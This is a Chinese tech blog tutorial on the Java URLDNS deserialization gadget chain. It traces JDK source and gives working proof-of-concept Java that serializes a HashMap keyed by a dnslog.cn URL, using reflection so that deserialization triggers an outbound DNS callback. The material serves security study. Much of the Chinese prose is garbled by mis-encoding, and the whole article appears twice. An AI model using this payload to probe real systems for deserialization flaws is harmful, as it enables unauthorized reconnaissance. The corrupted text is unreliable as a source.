Java安全之URLDNS鏈?zhǔn)褂梅治?/h1>
更新時間:2025年05月15日 15:39:53 作者:Elitewa
這篇文章主要介紹了Java安全之URLDNS鏈?zhǔn)褂梅治?具有很好的參考價值,希望對大家有所幫助,如有錯誤或未考慮完全的地方,望不吝賜教
什么是URLDNS鏈
URLDNS鏈?zhǔn)荍ava安全中比較簡單的一條利用鏈,無需使用任何第三方庫,全依靠Java內(nèi)置的一些類實現(xiàn),但無法進行命令執(zhí)行,只能實現(xiàn)對URl的訪問探測(發(fā)起DNS請求),并且不限制Java版本,可以用于檢測是否存在反序列化漏洞,理解好URLDNS鏈,那么接下來對CC鏈的學(xué)習(xí)就會簡單許多
URLDNS鏈分析
調(diào)用鏈路
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
HashMap類分析
我們來到 HashMap.java
文件,查看HashMap類
的readObject方法
,代碼如下
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
我們看下該方法的最后一行代碼
putVal(hash(key), key, value, false, false);
發(fā)現(xiàn)調(diào)用了對 key變量
調(diào)用了該類里里面的hash函數(shù)
,然后我們分析下key參數(shù)是怎么獲得的
通過以下代碼可以看出定義了一個K類型的key變量,然后對反序列化的輸入流進行反序列化,并把反序列化出的鍵復(fù)制給key變量
K類型是代表鍵的泛型,其定義的數(shù)據(jù)可以是任何類型,但只能作為map中的鍵
K key = (K) s.readObject();
我們再看下 hash 函數(shù)是如何對key處理的,我們在HashMap類中找到hash函數(shù)代碼如下
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
經(jīng)分析,只要我們的key對象,也就是傳入map的鍵不為空,就會執(zhí)行h = key.hashCode()
,也就是執(zhí)行key對象里的hashCode()方法
URL類分析
這里接上文,假設(shè)我們傳入map中的key為URL對象,那么便調(diào)用URL類中的hashCode()方法,我們看下這個方法的代碼
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
這里看到,只要 hashCode = -1
的話,那么便會執(zhí)行handler.hashCode(this);
,我們?nèi)タ聪?hashcode 屬性
是怎么定義的
private int hashCode = -1;
我們發(fā)現(xiàn) hashcode
的初始值為 -1,也就是默認(rèn)執(zhí)行handler.hashCode(this);
,我們再去看看 handler 是怎么定義的,代表了什么,通過下面可得:handler屬性代表了URLStreamHandler類的臨時對象
transient URLStreamHandler handler;
//這個URL傳輸實現(xiàn)類是一個transient臨時類型,不會被反序列化
經(jīng)分析,也就是把這一整個URL對象作為參數(shù),傳入了URLStreamHandler類的hashCode方法
this代表的是當(dāng)前對象的指針,也可以用 this.name 的方式調(diào)用當(dāng)前對象中的成員
那我們?nèi)?code>URLStreamHandler類當(dāng)中,查看下hashCode方法
的代碼
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();
// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();
// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();
return h;
}
我們看到 hashcode 方法
接收一個URL類型的參數(shù),然后對接收的 URL對象,也就是前面的key執(zhí)行InetAddress addr = getHostAddress(u);
,并會把求出的 hash值 返回給 URL對象中的hashCode屬性(這里記住,下面有用到)
getHostAddress函數(shù)會對URL對象代表的鏈接進行DNS解析,獲取其ip地址,我們使用 DNSLog 平臺可以檢測到該函數(shù)的訪問
exp編寫
思路整理
根據(jù)上面的鏈路分析,我們首先需要創(chuàng)建一個指向DNSLog平臺鏈接的URL對象,然后作為鍵傳入HashMap數(shù)組,最后將該數(shù)組進行序列化,然后反序列化調(diào)用其readObject方法,將URL對象賦值給key,然后使用hash方法處理URL對象,再調(diào)用URL對象的hashcode方法,然后以URL對象為參數(shù),傳入URLStreamHandler類的hashCode方法,對URL對象指向的鏈接進行訪問
初步exp
現(xiàn)在的exp大體如下
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://j0obud.dnslog.cn/");//這里替換為DNSLog平臺分配的地址
map.put(url,"114");//鍵值用不到,隨便設(shè)置
try {
FileOutputStream outputStream = new FileOutputStream("./2.ser");
ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream);
outputStream1.writeObject(map);
outputStream.close();
outputStream1.close();
FileInputStream inputStream = new FileInputStream("./2.ser");
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
objectInputStream.close();
inputStream.close();
}catch (Exception e){
e.printStackTrace();
}
}
}
我們在第13行打個斷點,也就是try
的這一行

然后運行代碼,發(fā)現(xiàn)未經(jīng)序列化與反序列化仍然能對url進行DNS解析

正是下面這一行代碼導(dǎo)致了url的提前解析
map.put(url,"114");//鍵值用不到,隨便設(shè)置
我們?nèi)タ聪?strong>map(HashMap類)的put方法,代碼如下
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
我們發(fā)現(xiàn),這個put方法
和readObject方法
觸發(fā)的語句完全一樣,同樣會對URL對象執(zhí)行HashMap類中的hash方法,然后就和上文所述的過程相同,最總到達hashCode方法,對URL對象解析
return putVal(hash(key), key, value, false, true);
下面是這兩個方法的語句對比可以看到是一模一樣的
- put方法:

- readObject方法:

需要注意的是假如提前觸發(fā)的話,反序列化的時候便不會再進行DNS解析
我們再次回到URL類中的hashCode方法,并看一下其hashCode屬性的定義
private int hashCode = -1;
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
可以看到只有當(dāng) hashCode = -1
時,才會執(zhí)行hashCode = handler.hashCode(this);
,從而到下一步DNS解析,然后 hashCode屬性被賦值為這個URL解析的哈希值,從而為一個很長的正數(shù),從而不為 -1,然后序列化的時候這個hashCode屬性
值保持不變,當(dāng)反序列化到hashCode方法時,以為 hashCode != -1
直接進入if
,執(zhí)行return hashCode;
,最終到這里就斷掉了,無法觸發(fā)DNS解析
exp改進
那怎么辦呢?
我們可以先在put時,將 hashCode 值通過反射修改為任意一個不為 -1 的數(shù)字,從而不會提前觸發(fā)DNS解析,然后在put完成后,我們再通過反射將 hashCode值設(shè)為 -1,示例如下
field.set(url,123); //將url的hashcode屬性改為123使其不等于-1
map.put(url,"2333"); //這里的value用不上,隨便設(shè)置
field.set(url,-1);//put完之后,我們就需要將hashcode屬性改回成-1,從而能執(zhí)行handler.hashCode(this);
通過反射我們可以動態(tài)修改一個對象中的屬性和方法
最終exp
package org.example;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://mm4dhq.dnslog.cn/");//這里替換為DNSLog平臺分配的地址
Class clas = url.getClass();
Field field = clas.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url,123); //將url的hashcode屬性改為123使其不等于-1
map.put(url,"2333"); //這里的value用不上,隨便設(shè)置
field.set(url,-1);//put完之后,我們就需要將hashcode屬性改回成-1,從而能執(zhí)行handler.hashcode
try {
//序列化
FileOutputStream outputStream = new FileOutputStream("./2.ser");
ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream);
outputStream1.writeObject(map);
outputStream.close();
outputStream1.close();
//反序列化,此時觸發(fā)dns請求
FileInputStream inputStream = new FileInputStream("./2.ser");
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
objectInputStream.close();
inputStream.close();
}catch (Exception e){
e.printStackTrace();
}
}
}
我們再次在put語句下面打斷點,觀察是否還會提前觸發(fā),可以看到DNSLog平臺沒有記錄,代表put時由于hashCode值不為 -1 ,沒有執(zhí)行handler.hashCode(this)

我們在斷點處繼續(xù)執(zhí)行,可以看到反序列化成功觸發(fā)了DNS解析

總結(jié)
以上為個人經(jīng)驗,希望能給大家一個參考,也希望大家多多支持腳本之家。
相關(guān)文章
-
Spring注解驅(qū)動開發(fā)實現(xiàn)屬性賦值
這篇文章主要介紹了Spring注解驅(qū)動開發(fā)實現(xiàn)屬性賦值,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友可以參考下 2020-04-04
-
Jetty啟動項目中引用json-lib相關(guān)類庫報錯ClassNotFound的解決方案
今天小編就為大家分享一篇關(guān)于Jetty啟動項目中引用json-lib相關(guān)類庫報錯ClassNotFound的解決方案,小編覺得內(nèi)容挺不錯的,現(xiàn)在分享給大家,具有很好的參考價值,需要的朋友一起跟隨小編來看看吧 2018-12-12
-
關(guān)于dubbo的RPC和RESTful性能及對比
這篇文章主要介紹了關(guān)于dubbo的RPC和RESTful性能及對比,具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教 2022-12-12
-
初識Spring Boot框架之Spring Boot的自動配置
本篇文章主要介紹了初識Spring Boot框架之Spring Boot的自動配置,具有一定的參考價值,感興趣的小伙伴們可以參考一下。
2017-04-04
-
JSP 開發(fā)之hibernate的hql查詢多對多查詢
這篇文章主要介紹了JSP 開發(fā)之hibernate的hql查詢多對多查詢的相關(guān)資料,希望通過本文能幫助到大家,需要的朋友可以參考下 2017-09-09
-
SpringBoot如何整合Springsecurity實現(xiàn)數(shù)據(jù)庫登錄及權(quán)限控制
這篇文章主要給大家介紹了關(guān)于SpringBoot如何整合Springsecurity實現(xiàn)數(shù)據(jù)庫登錄及權(quán)限控制的相關(guān)資料,文中通過圖文以及實例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友可以參考下 2022-01-01
最新評論
什么是URLDNS鏈
URLDNS鏈?zhǔn)荍ava安全中比較簡單的一條利用鏈,無需使用任何第三方庫,全依靠Java內(nèi)置的一些類實現(xiàn),但無法進行命令執(zhí)行,只能實現(xiàn)對URl的訪問探測(發(fā)起DNS請求),并且不限制Java版本,可以用于檢測是否存在反序列化漏洞,理解好URLDNS鏈,那么接下來對CC鏈的學(xué)習(xí)就會簡單許多
URLDNS鏈分析
調(diào)用鏈路
Gadget Chain: HashMap.readObject() HashMap.putVal() HashMap.hash() URL.hashCode()
HashMap類分析
我們來到 HashMap.java
文件,查看HashMap類
的readObject方法
,代碼如下
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { // Read in the threshold (ignored), loadfactor, and any hidden stuff s.defaultReadObject(); reinitialize(); if (loadFactor <= 0 || Float.isNaN(loadFactor)) throw new InvalidObjectException("Illegal load factor: " + loadFactor); s.readInt(); // Read and ignore number of buckets int mappings = s.readInt(); // Read number of mappings (size) if (mappings < 0) throw new InvalidObjectException("Illegal mappings count: " + mappings); else if (mappings > 0) { // (if zero, use defaults) // Size the table using given load factor only if within // range of 0.25...4.0 float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f); float fc = (float)mappings / lf + 1.0f; int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ? DEFAULT_INITIAL_CAPACITY : (fc >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : tableSizeFor((int)fc)); float ft = (float)cap * lf; threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ? (int)ft : Integer.MAX_VALUE); @SuppressWarnings({"rawtypes","unchecked"}) Node<K,V>[] tab = (Node<K,V>[])new Node[cap]; table = tab; // Read the keys and values, and put the mappings in the HashMap for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false); } } }
我們看下該方法的最后一行代碼
putVal(hash(key), key, value, false, false);
發(fā)現(xiàn)調(diào)用了對 key變量
調(diào)用了該類里里面的hash函數(shù)
,然后我們分析下key參數(shù)是怎么獲得的
通過以下代碼可以看出定義了一個K類型的key變量,然后對反序列化的輸入流進行反序列化,并把反序列化出的鍵復(fù)制給key變量
K類型是代表鍵的泛型,其定義的數(shù)據(jù)可以是任何類型,但只能作為map中的鍵
K key = (K) s.readObject();
我們再看下 hash 函數(shù)是如何對key處理的,我們在HashMap類中找到hash函數(shù)代碼如下
static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); }
經(jīng)分析,只要我們的key對象,也就是傳入map的鍵不為空,就會執(zhí)行h = key.hashCode()
,也就是執(zhí)行key對象里的hashCode()方法
URL類分析
這里接上文,假設(shè)我們傳入map中的key為URL對象,那么便調(diào)用URL類中的hashCode()方法,我們看下這個方法的代碼
public synchronized int hashCode() { if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode; }
這里看到,只要 hashCode = -1
的話,那么便會執(zhí)行handler.hashCode(this);
,我們?nèi)タ聪?hashcode 屬性
是怎么定義的
private int hashCode = -1;
我們發(fā)現(xiàn) hashcode
的初始值為 -1,也就是默認(rèn)執(zhí)行handler.hashCode(this);
,我們再去看看 handler 是怎么定義的,代表了什么,通過下面可得:handler屬性代表了URLStreamHandler類的臨時對象
transient URLStreamHandler handler; //這個URL傳輸實現(xiàn)類是一個transient臨時類型,不會被反序列化
經(jīng)分析,也就是把這一整個URL對象作為參數(shù),傳入了URLStreamHandler類的hashCode方法
this代表的是當(dāng)前對象的指針,也可以用 this.name 的方式調(diào)用當(dāng)前對象中的成員
那我們?nèi)?code>URLStreamHandler類當(dāng)中,查看下hashCode方法
的代碼
protected int hashCode(URL u) { int h = 0; // Generate the protocol part. String protocol = u.getProtocol(); if (protocol != null) h += protocol.hashCode(); // Generate the host part. InetAddress addr = getHostAddress(u); if (addr != null) { h += addr.hashCode(); } else { String host = u.getHost(); if (host != null) h += host.toLowerCase().hashCode(); } // Generate the file part. String file = u.getFile(); if (file != null) h += file.hashCode(); // Generate the port part. if (u.getPort() == -1) h += getDefaultPort(); else h += u.getPort(); // Generate the ref part. String ref = u.getRef(); if (ref != null) h += ref.hashCode(); return h; }
我們看到 hashcode 方法
接收一個URL類型的參數(shù),然后對接收的 URL對象,也就是前面的key執(zhí)行InetAddress addr = getHostAddress(u);
,并會把求出的 hash值 返回給 URL對象中的hashCode屬性(這里記住,下面有用到)
getHostAddress函數(shù)會對URL對象代表的鏈接進行DNS解析,獲取其ip地址,我們使用 DNSLog 平臺可以檢測到該函數(shù)的訪問
exp編寫
思路整理
根據(jù)上面的鏈路分析,我們首先需要創(chuàng)建一個指向DNSLog平臺鏈接的URL對象,然后作為鍵傳入HashMap數(shù)組,最后將該數(shù)組進行序列化,然后反序列化調(diào)用其readObject方法,將URL對象賦值給key,然后使用hash方法處理URL對象,再調(diào)用URL對象的hashcode方法,然后以URL對象為參數(shù),傳入URLStreamHandler類的hashCode方法,對URL對象指向的鏈接進行訪問
初步exp
現(xiàn)在的exp大體如下
import java.io.*; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap; public class URLDNS { public static void main(String[] args) throws Exception { HashMap map = new HashMap(); URL url = new URL("http://j0obud.dnslog.cn/");//這里替換為DNSLog平臺分配的地址 map.put(url,"114");//鍵值用不到,隨便設(shè)置 try { FileOutputStream outputStream = new FileOutputStream("./2.ser"); ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream); outputStream1.writeObject(map); outputStream.close(); outputStream1.close(); FileInputStream inputStream = new FileInputStream("./2.ser"); ObjectInputStream objectInputStream = new ObjectInputStream(inputStream); objectInputStream.readObject(); objectInputStream.close(); inputStream.close(); }catch (Exception e){ e.printStackTrace(); } } }
我們在第13行打個斷點,也就是try
的這一行
然后運行代碼,發(fā)現(xiàn)未經(jīng)序列化與反序列化仍然能對url進行DNS解析
正是下面這一行代碼導(dǎo)致了url的提前解析
map.put(url,"114");//鍵值用不到,隨便設(shè)置
我們?nèi)タ聪?strong>map(HashMap類)的put方法,代碼如下
public V put(K key, V value) { return putVal(hash(key), key, value, false, true); }
我們發(fā)現(xiàn),這個put方法
和readObject方法
觸發(fā)的語句完全一樣,同樣會對URL對象執(zhí)行HashMap類中的hash方法,然后就和上文所述的過程相同,最總到達hashCode方法,對URL對象解析
return putVal(hash(key), key, value, false, true);
下面是這兩個方法的語句對比可以看到是一模一樣的
- put方法:
- readObject方法:
需要注意的是假如提前觸發(fā)的話,反序列化的時候便不會再進行DNS解析
我們再次回到URL類中的hashCode方法,并看一下其hashCode屬性的定義
private int hashCode = -1; public synchronized int hashCode() { if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode; }
可以看到只有當(dāng) hashCode = -1
時,才會執(zhí)行hashCode = handler.hashCode(this);
,從而到下一步DNS解析,然后 hashCode屬性被賦值為這個URL解析的哈希值,從而為一個很長的正數(shù),從而不為 -1,然后序列化的時候這個hashCode屬性
值保持不變,當(dāng)反序列化到hashCode方法時,以為 hashCode != -1
直接進入if
,執(zhí)行return hashCode;
,最終到這里就斷掉了,無法觸發(fā)DNS解析
exp改進
那怎么辦呢?
我們可以先在put時,將 hashCode 值通過反射修改為任意一個不為 -1 的數(shù)字,從而不會提前觸發(fā)DNS解析,然后在put完成后,我們再通過反射將 hashCode值設(shè)為 -1,示例如下
field.set(url,123); //將url的hashcode屬性改為123使其不等于-1 map.put(url,"2333"); //這里的value用不上,隨便設(shè)置 field.set(url,-1);//put完之后,我們就需要將hashcode屬性改回成-1,從而能執(zhí)行handler.hashCode(this);
通過反射我們可以動態(tài)修改一個對象中的屬性和方法
最終exp
package org.example; import java.io.*; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap; public class URLDNS { public static void main(String[] args) throws Exception { HashMap map = new HashMap(); URL url = new URL("http://mm4dhq.dnslog.cn/");//這里替換為DNSLog平臺分配的地址 Class clas = url.getClass(); Field field = clas.getDeclaredField("hashCode"); field.setAccessible(true); field.set(url,123); //將url的hashcode屬性改為123使其不等于-1 map.put(url,"2333"); //這里的value用不上,隨便設(shè)置 field.set(url,-1);//put完之后,我們就需要將hashcode屬性改回成-1,從而能執(zhí)行handler.hashcode try { //序列化 FileOutputStream outputStream = new FileOutputStream("./2.ser"); ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream); outputStream1.writeObject(map); outputStream.close(); outputStream1.close(); //反序列化,此時觸發(fā)dns請求 FileInputStream inputStream = new FileInputStream("./2.ser"); ObjectInputStream objectInputStream = new ObjectInputStream(inputStream); objectInputStream.readObject(); objectInputStream.close(); inputStream.close(); }catch (Exception e){ e.printStackTrace(); } } }
我們再次在put語句下面打斷點,觀察是否還會提前觸發(fā),可以看到DNSLog平臺沒有記錄,代表put時由于hashCode值不為 -1 ,沒有執(zhí)行handler.hashCode(this)
我們在斷點處繼續(xù)執(zhí)行,可以看到反序列化成功觸發(fā)了DNS解析
總結(jié)
以上為個人經(jīng)驗,希望能給大家一個參考,也希望大家多多支持腳本之家。
相關(guān)文章
Spring注解驅(qū)動開發(fā)實現(xiàn)屬性賦值
這篇文章主要介紹了Spring注解驅(qū)動開發(fā)實現(xiàn)屬性賦值,文中通過示例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友可以參考下2020-04-04Jetty啟動項目中引用json-lib相關(guān)類庫報錯ClassNotFound的解決方案
今天小編就為大家分享一篇關(guān)于Jetty啟動項目中引用json-lib相關(guān)類庫報錯ClassNotFound的解決方案,小編覺得內(nèi)容挺不錯的,現(xiàn)在分享給大家,具有很好的參考價值,需要的朋友一起跟隨小編來看看吧2018-12-12關(guān)于dubbo的RPC和RESTful性能及對比
這篇文章主要介紹了關(guān)于dubbo的RPC和RESTful性能及對比,具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教2022-12-12初識Spring Boot框架之Spring Boot的自動配置
本篇文章主要介紹了初識Spring Boot框架之Spring Boot的自動配置,具有一定的參考價值,感興趣的小伙伴們可以參考一下。2017-04-04JSP 開發(fā)之hibernate的hql查詢多對多查詢
這篇文章主要介紹了JSP 開發(fā)之hibernate的hql查詢多對多查詢的相關(guān)資料,希望通過本文能幫助到大家,需要的朋友可以參考下2017-09-09SpringBoot如何整合Springsecurity實現(xiàn)數(shù)據(jù)庫登錄及權(quán)限控制
這篇文章主要給大家介紹了關(guān)于SpringBoot如何整合Springsecurity實現(xiàn)數(shù)據(jù)庫登錄及權(quán)限控制的相關(guān)資料,文中通過圖文以及實例代碼介紹的非常詳細(xì),對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友可以參考下2022-01-01